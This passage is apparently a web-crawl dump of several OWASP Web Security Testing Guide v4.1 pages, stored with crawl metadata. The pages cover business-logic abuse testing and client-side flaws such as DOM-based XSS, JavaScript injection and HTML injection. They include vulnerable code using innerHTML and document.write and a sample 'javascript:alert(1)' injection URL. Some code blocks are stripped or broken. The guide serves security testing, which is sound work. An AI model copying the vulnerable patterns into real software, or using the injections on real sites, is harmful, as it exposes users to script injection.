of times during the business logic workflow.\n- For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. For example, can a user navigate back and forth through the pages multiple times executing a function that should only execute once? or can a user load and unload shopping carts allowing for additional discounts.\n\n- [Testing for Account Enumeration and Guessable User Account](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account)\n- [Testing for Weak lock out mechanism](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism)\n\n## References\n\n-[InfoPath Forms Services business logic exceeded the maximum limit of operations Rule](http://mpwiki.viacode.com/default.aspx?g=posts&t=115678)\n-[Gold Trading Was Temporarily Halted On The CME This Morning](https://www.businessinsider.com/gold-halted-on-cme-for-stop-logic-event-2013-10)\n\n## Remediation\n\nThe application should have checks to ensure that the business logic is being followed and that if a function/action can only be executed a certain number of times, when the limit is reached the user can no longer execute the function. To prevent users from using a function over the appropriate number of times the application may use mechanisms such as cookies to keep count or through sessions not allowing users to access to execute the function additional times.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3491, "slov": 508, "odkazu": 177, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:26", "sha256": "bbe567b4f513dfcbb845f661d3b52d02e29a783dbcd50309c7ee52f94fda72dc", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://mpwiki.viacode.com/default.aspx?g=posts&t=115678", "https://www.businessinsider.com/gold-halted-on-cme-for-stop-logic-event-2013-10", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/06-Testing_for_the_Circumvention_of_Work_Flows", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/06-Testing_for_the_Circumvention_of_Work_Flows", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/06-Testing_for_the_Circumvention_of_Work_Flows", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for the Circumvention of Work Flows"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Generic Testing Method"}, {"uroven": 4, "text": "Testing Method 1"}, {"uroven": 4, "text": "Testing Method 2"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for the Circumvention of Work Flows\n\n| ID |\n| --- |\n| WSTG-BUSL-06 |\n\n## Summary\n\nWorkflow vulnerabilities involve any type of vulnerability that allows the attacker to misuse an application/system in a way that will allow them to circumvent (not follow) the designed/intended workflow.\n\n[Definition of a workflow on Wikipedia](https://en.wikipedia.org/wiki/Workflow):\n\n> A workflow consists of a sequence of connected steps where each step follows without delay or gap and ends just before the subsequent step may begin. It is a depiction of a sequence of operations, declared as work of a person or group, an organization of staff, or one or more simple or complex mechanisms. Workflow may be seen as any abstraction of real work.\n\nThe application’s business logic must require that the user complete specific steps in the correct/specific order and if the workflow is terminated without correctly completing, all actions and spawned actions are “rolled back” or canceled. Vulnerabilities related to the circumvention of workflows or bypassing the correct business logic workflow are unique in that they are very application/system specific and careful manual misuse cases must be developed using requirements and use cases.\n\nThe applications business process must have checks to ensure that the user’s transactions/actions are proceeding in the correct/acceptable order and if a transaction triggers some sort of action, that action will be “rolled back” and removed if the transaction is not successfully completed.\n\n## Examples\n\n### Example 1\n\nMany of us receive so type of “club/loyalty points” for purchases from grocery stores and gas stations. Suppose a user was able to start a transaction linked to their account and then after points have been added to their club/loyalty account cancel out of the transaction or remove items from their “basket” and tender. In this case the system either should not apply points/credits to the account until it is tendered or points/credits should be “rolled back” if the point/credit increment does not match the final tender. With this in mind, an attacker may start transactions and cancel them to build their point levels without actually buy anything.\n\n### Example 2\n\nAn electronic bulletin board system may be designed to ensure that initial posts do not contain profanity based on a list that the post is compared against. If a word on a “black” the list is found in the user entered text the submission is not posted. But, once a submission is posted the submitter can access, edit, and change the submission contents to include words included on the profanity/black list since on edit the posting is never compared again. Keeping this in mind, attackers may open an initial blank or minimal discussion then add in whatever they like as an update.\n\n## How to Test\n\n### Generic Testing Method\n\n- Review the project documentation and use exploratory testing looking for methods to skip or go to steps in the application process in a different order from the designed/intended business logic flow.\n- For each method develop a misuse case and try to circumvent or perform an action that is “not acceptable” per the the business logic workflow.\n\n#### Testing Method 1\n\n- Start a transaction going through the application past the points that triggers credits/points to the users account.\n- Cancel out of the transaction or reduce the final tender so that the point values should be decreased and check the points/ credit system to ensure that the proper points/credits were recorded.\n\n#### Testing Method 2\n\n- On a content management or bulletin board system enter and save valid initial text or values.\n- Then try to append, edit and remove data that would leave the existing data in an invalid state or with invalid values to ensure that the user is not allowed to save the incorrect information. Some “invalid” data or information may be specific words (profanity) or specific topics (such as political issues).\n\n- [Testing Directory Traversal/File Include](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include)\n- [Testing for Bypassing Authorization Schema](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema)\n- [Testing for Bypassing Session Management Schema](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema)\n- [Test Business Logic Data Validation](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/01-Test_Business_Logic_Data_Validation)\n- [Test Ability to Forge Requests](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/02-Test_Ability_to_Forge_Requests)\n- [Test Integrity Checks](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/03-Test_Integrity_Checks)\n- [Test for Process Timing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/04-Test_for_Process_Timing)\n- [Test Number of Times a Function Can be Used Limits](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/05-Test_Number_of_Times_a_Function_Can_Be_Used_Limits)\n- [Test Defenses Against Application Mis-use](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/07-Test_Defenses_Against_Application_Misuse)\n- [Test Upload of Unexpected File Types](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_Upload_of_Unexpected_File_Types)\n- [Test Upload of Malicious Files](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/09-Test_Upload_of_Malicious_Files)\n\n## References\n\n- [OWASP Abuse Case Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Abuse_Case_Cheat_Sheet.html)\n- [CWE-840: Business Logic Errors](https://cwe.mitre.org/data/definitions/840.html)\n\n## Remediation\n\nThe application must be self-aware and have checks in place ensuring that the users complete each step in the work flow process in the correct order and prevent attackers from circumventing/skipping/or repeating any steps/processes in the workflow. Test for workflow vulnerabilities involves developing business logic abuse/misuse cases with the goal of successfully completing the business process while not completing the correct steps in the correct order.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6726, "slov": 856, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:27", "sha256": "5359e90682747ab1d3d32777d01b37d9310b8d7a10078e4dc1e6eb79173423a4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Workflow", "https://cheatsheetseries.owasp.org/cheatsheets/Abuse_Case_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/840.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/07-Test_Defenses_Against_Application_Misuse", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/07-Test_Defenses_Against_Application_Misuse", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/07-Test_Defenses_Against_Application_Misuse", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Defenses Against Application Misuse"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Example"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Test Defenses Against Application Misuse\n\n| ID |\n| --- |\n| WSTG-BUSL-07 |\n\n## Summary\n\nThe misuse and invalid use of of valid functionality can identify attacks attempting to enumerate the web application, identify weaknesses, and exploit vulnerabilities. Tests should be undertaken to determine whether there are application-layer defensive mechanisms in place to protect the application.\n\nThe lack of active defenses allows an attacker to hunt for vulnerabilities without any recourse. The application’s owner will thus not know their application is under attack.\n\n## Example\n\nAn authenticated user undertakes the following (unlikely) sequence of actions:\n\n1. Attempt to access a file ID their roles is not permitted to download\n2. Substitutes a single tick `'` instead of the file ID number\n3. Alters a GET request to a POST\n4. Adds an extra parameter\n5. Duplicates a parameter name/value pair\n\nThe application is monitoring for misuse and responds after the 5th event with extremely high confidence the user is an attacker. For example the application:\n\n- Disables critical functionality\n- Enables additional authentication steps to the remaining functionality\n- Adds time-delays into every request-response cycle\n- Begins to record additional data about the user’s interactions (e.g. sanitized HTTP request headers, bodies and response bodies)\n\nIf the application does not respond in any way and the attacker can continue to abuse functionality and submit clearly malicious content at the application, the application has failed this test case. In practice the discrete example actions in the example above are unlikely to occur like that. It is much more probable that a fuzzing tool is used to identify weaknesses in each parameter in turn. This is what a security tester will have undertaken too.\n\n## How to Test\n\nThis test is unusual in that the result can be drawn from all the other tests performed against the web application. While performing all the other tests, take note of measures that might indicate the application has in-built self-defense:\n\n- Changed responses\n- Blocked requests\n- Actions that log a user out or lock their account\n\nThese may only be localized. Common localized (per function) defenses are:\n\n- Rejecting input containing certain characters\n- Locking out an account temporarily after a number of authentication failures\n\nLocalized security controls are not sufficient. There are often no defenses against general mis-use such as:\n\n- Forced browsing\n- Bypassing presentation layer input validation\n- Multiple access control errors\n- Additional, duplicated or missing parameter names\n- Multiple input validation or business logic verification failures with values that cannot be the result user mistakes or typos\n- Structured data (e.g. JSON, XML) of an invalid format is received\n- Blatant cross-site scripting or SQL injection payloads are received\n- Utilizing the application faster than would be possible without automation tools\n- Change in continental geo-location of a user\n- Change of user agent\n- Accessing a multi-stage business process in the wrong order\n- Large number of, or high rate of use of, application-specific functionality (e.g. voucher code submission, failed credit card payments, file uploads, file downloads, log outs, etc).\n\nThese defenses work best in authenticated parts of the application, although rate of creation of new accounts or accessing content (e.g. to scrape information) can be of use in public areas.\n\nNot all the above need to be monitored by the application, but there is a problem if none of them are. By testing the web application, doing the above type of actions, was any response taken against the tester? If not, the tester should report that the application appears to have no application-wide active defenses against misuse. Note it is sometimes possible that all responses to attack detection are silent to the user (e.g. logging changes, increased monitoring, alerts to administrators and and request proxying), so confidence in this finding cannot be guaranteed. In practice, very few applications (or related infrastructure such as a web application firewall) are detecting these types of misuse.\n\nAll other test cases are relevant.\n\n## Tools\n\nThe tester can use many of the tools used for the other test cases.\n\n## References\n\n- [Resilient Software](https://buildsecurityin.us-cert.gov/swa/resilient.html) , Software Assurance, US Department Homeland Security\n- [IR 7684](https://csrc.nist.gov/publications/detail/nistir/7864/final) Common Misuse Scoring System (CMSS), NIST\n- [Common Attack Pattern Enumeration and Classification](https://capec.mitre.org/) (CAPEC), The Mitre Corporation\n- [OWASP AppSensor Project](https://owasp.org/www-project-appsensor/)\n- [AppSensor Guide v2](https://owasp.org/www-pdf-archive/Owasp-appsensor-guide-v2.pdf) , OWASP\n- Watson C, Coates M, Melton J and Groves G, [Creating Attack-Aware Software Applications with Real-Time Defenses](https://pdfs.semanticscholar.org/0236/5631792fa6c953e82cadb0e7268be35df905.pdf) , CrossTalk The Journal of Defense Software Engineering, Vol. 24, No. 5, Sep/Oct 2011\n\n## Remediation\n\nBuild inactive defenses against application misuse.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5221, "slov": 746, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:28", "sha256": "3dcfcea1dd14e39fc9f17c620e96013fea56b5d379b02c7e631cfaa2ca088976", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://buildsecurityin.us-cert.gov/swa/resilient.html", "https://csrc.nist.gov/publications/detail/nistir/7864/final", "https://capec.mitre.org/", "https://pdfs.semanticscholar.org/0236/5631792fa6c953e82cadb0e7268be35df905.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_Upload_of_Unexpected_File_Types", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_Upload_of_Unexpected_File_Types", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_Upload_of_Unexpected_File_Types", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Upload of Unexpected File Types"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Example"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Generic Testing Method"}, {"uroven": 3, "text": "Specific Testing Method"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Test Upload of Unexpected File Types\n\n| ID |\n| --- |\n| WSTG-BUSL-08 |\n\n## Summary\n\nMany application’s business processes allow for the upload and manipulation of data that is submitted via files. But the business process must check the files and only allow certain “approved” file types. Deciding what files are “approved” is determined by the business logic and is application/system specific. The risk in that by allowing users to upload files, attackers may submit an unexpected file type that that could be executed and adversely impact the application or system through attacks that may deface the web site, perform remote commands, browse the system files, browse the local resources, attack other servers, or exploit the local vulnerabilities, just to name a few.\n\nVulnerabilities related to the upload of unexpected file types is unique in that the upload should quickly reject a file if it does not have a specific extension. Additionally, this is different from uploading malicious files in that in most cases an incorrect file format may not by it self be inherently “malicious” but may be detrimental to the saved data. For example if an application accepts Windows Excel files, if an similar database file is uploaded it may be read but data extracted my be moved to incorrect locations.\n\nThe application may be expecting only certain file types to be uploaded for processing, such as .CSV, .txt files. The application may not validate the uploaded file by extension (for low assurance file validation) or content (high assurance file validation). This may result in unexpected system or database results within the application/system or give attackers additional methods to exploit the application/system..\n\n## Example\n\nSuppose a picture sharing application allows users to upload a .gif or .jpg graphic file to the web site. What if an attacker is able to upload an HTML file with a ` \n```\n\nAn attacker may append `#` to the affected page URL which would, when executed, display the alert box. In this instance, the appended code would not be sent to the server as everything after the `#` character is not treated as part of the query by the browser, but as a fragment. In this example, the code is immediately executed and an alert of “xss” is displayed by the page. Unlike the more common types of cross site scripting ([reflected and stored](https://owasp.org/www-community/attacks/xss/) in which the code is sent to the server and then back to the browser, this is executed directly in the user’s browser without server contact.\n\nThe [consequences](https://owasp.org/www-community/attacks/xss/) of DOM-based XSS flaws are as wide ranging as those seen in more well known forms of XSS, including cookie retrieval, further malicious script injection, etc., and should therefore be treated with the same severity.\n\n## How to Test\n\nJavaScript applications differ significantly from other types of applications because they are often dynamically generated by the server. To understand what code is being executed, the website being tested needs to be crawled to determine all the instances of JavaScript being executed and where user input is accepted. Many websites rely on large libraries of functions, which often stretch into the hundreds of thousands of lines of code and have not been developed in-house. In these cases, top-down testing often becomes the only viable option, since many bottom level functions are never used, and analyzing them to determine which are sinks will use up more time than is often available. The same can also be said for top-down testing if the inputs or lack thereof is not identified to begin with.\n\nUser input comes in two main forms:\n\n- Input written to the page by the server in a way that does not allow direct XSS, and\n- Input obtained from client-side JavaScript objects.\n\nHere are two examples of how the server may insert data into JavaScript:\n\n```\nvar data = `“”`; var result = someFunction(`“”`); \n```\n\nHere are two examples of input from client-side JavaScript objects:\n\n```\nvar data = window.location;`\nvar result = someFunction(window.referrer);\n```\n\nWhile there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires. On the other hand, the permutations performed by JavaScript objects are fairly well understood and documented. If `someFunction` in the above example were a sink, then the exploitability in the former case would depend on the filtering done by the server, whereas in the latter case it would depend on the encoding done by the browser on the `window.referrer` object. Stefano Di Paulo has written an excellent article on what browsers return when asked for the various elements of a [URL using the document and location attributes](https://code.google.com/p/domxsswiki/wiki/LocationSources).\n\nAdditionally, JavaScript is often executed outside of ` \n```\n\nHowever, it may not be detected in the following contrived case:\n\n```\n \n```\n\nFor this reason, automated testing will not detect areas that may be susceptible to DOM-based XSS unless the testing tool can perform additional analysis of the client side code.\n\nManual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker. Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed. Further examples are described in this excellent [DOM XSS article by Amit Klein](http://www.webappsec.org/projects/articles/071105.html).\n\nFor further OWASP resources on preventing DOM-based XSS, see the [DOM-based XSS Prevention Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.md).\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7480, "slov": 1134, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:32", "sha256": "8f844a955fdd91c7fe5f825b666148e30433c91dfccb1f455bcbbe8d34015cbf", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Document_Object_Model", "https://code.google.com/p/domxsswiki/wiki/LocationSources", "http://www.webappsec.org/projects/articles/071105.html", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.md", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/02-Testing_for_JavaScript_Execution", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/02-Testing_for_JavaScript_Execution", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/02-Testing_for_JavaScript_Execution", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for JavaScript Execution"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}], "markdown": "# WSTG - v4.1\n\n# Testing for JavaScript Execution\n\n| ID |\n| --- |\n| WSTG-CLNT-02 |\n\n## Summary\n\nA JavaScript injection vulnerability is a subtype of cross site scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victim’s browser. This vulnerability can have many consequences, like the disclosure of a user’s session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims or the application’s behavior.\n\nJavaScript injection vulnerabilities can occur when the application lacks proper user-supplied input and output validation. As JavaScript is used to dynamically populate web pages, this injection occurs during this content processing phase and consequently affects the victim.\n\nWhen testing for this vulnerability, consider that some characters are treated differently by different browsers. For reference, see [DOM-based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS).\n\nHere is an example of a script that does not perform any validation of the variable `rr`. The variable contains user-supplied input via the query string, and additionally does not apply any form of encoding:\n\n```\nvar rr = location.search.substring(1); if(rr) window.location=decodeURIComponent(rr); \n```\n\nThis implies that an attacker could inject JavaScript code simply by submitting the following query string: `www.victim.com/?javascript:alert(1)`.\n\n## How to Test\n\nFor example, consider a page that contains the following script:\n\n```\n \n```\n\nThe above code contains a source `location.hash` that is controlled by the attacker that can inject directly in the `message` value a JavaScript Code to take the control of the user browser.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2131, "slov": 269, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:33", "sha256": "0617c9d02c5ac5553cd4e4fde6584167c95601fed14b6063a541707513e7e40b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/03-Testing_for_HTML_Injection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/03-Testing_for_HTML_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/03-Testing_for_HTML_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for HTML Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}], "markdown": "# WSTG - v4.1\n\n# Testing for HTML Injection\n\n| ID |\n| --- |\n| WSTG-CLNT-03 |\n\n## Summary\n\nHTML injection is a type of injection vulnerability that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page. This vulnerability can have many consequences, like disclosure of a user’s session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims.\n\nThis vulnerability occurs when user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim. The targeted browser will not be able to distinguish (trust) legitimate parts from malicious parts of the page, and consequently will parse and execute the whole page in the victim’s context.\n\nThere is a wide range of methods and attributes that could be used to render HTML content. If these methods are provided with an untrusted input, then there is an high risk of HTML injection vulnerability. For example, malicious HTML code can be injected via the `innerHTML` JavaScript method, usually used to render user-inserted HTML code. If strings are not correctly sanitized, the method can enable HTML injection. A JavaScript function that can be used for this purpose is `document.write()`.\n\nThe following example shows a snippet of vulnerable code that allows an unvalidated input to be used to create dynamic HTML in the page context:\n\n```\nvar userposition=location.href.indexOf(\"user=\"); var user=location.href.substring(userposition+5); document.getElementById(\"Welcome\").innerHTML=\" Hello, \"+user; \n```\n\nThe following example shows vulnerable code using the `document.write()` function:\n\n```\nvar userposition=location.href.indexOf(\"user=\"); var user=location.href.substring(userposition+5); document.write(\"

Hello, \" + user +\"

\"); \n```\n\nIn both examples, this vulnerability can be exploited with an input such as:\n\n```\nhttp://vulnerable.site/page.html?user=\n```\n\nThis input will add an image tag to the page that will execute arbitrary JavaScript code inserted by the malicious user in the HTML context.\n\n## How to Test\n\nFor example, consider at the following HTML code and script:\n\n```\n Show Here
Showing Message1
Show Here
Showing Message2
Show Here
Showing Message3
\n```\n\nIt is possible to inject HTML code.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2949, "slov": 398, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:34", "sha256": "4308d1a54e611b9a369b8a17a2100f0ed777a38200619573035f5759e354ecec", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/04-Testing_for_Client_Side_URL_Redirect", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": 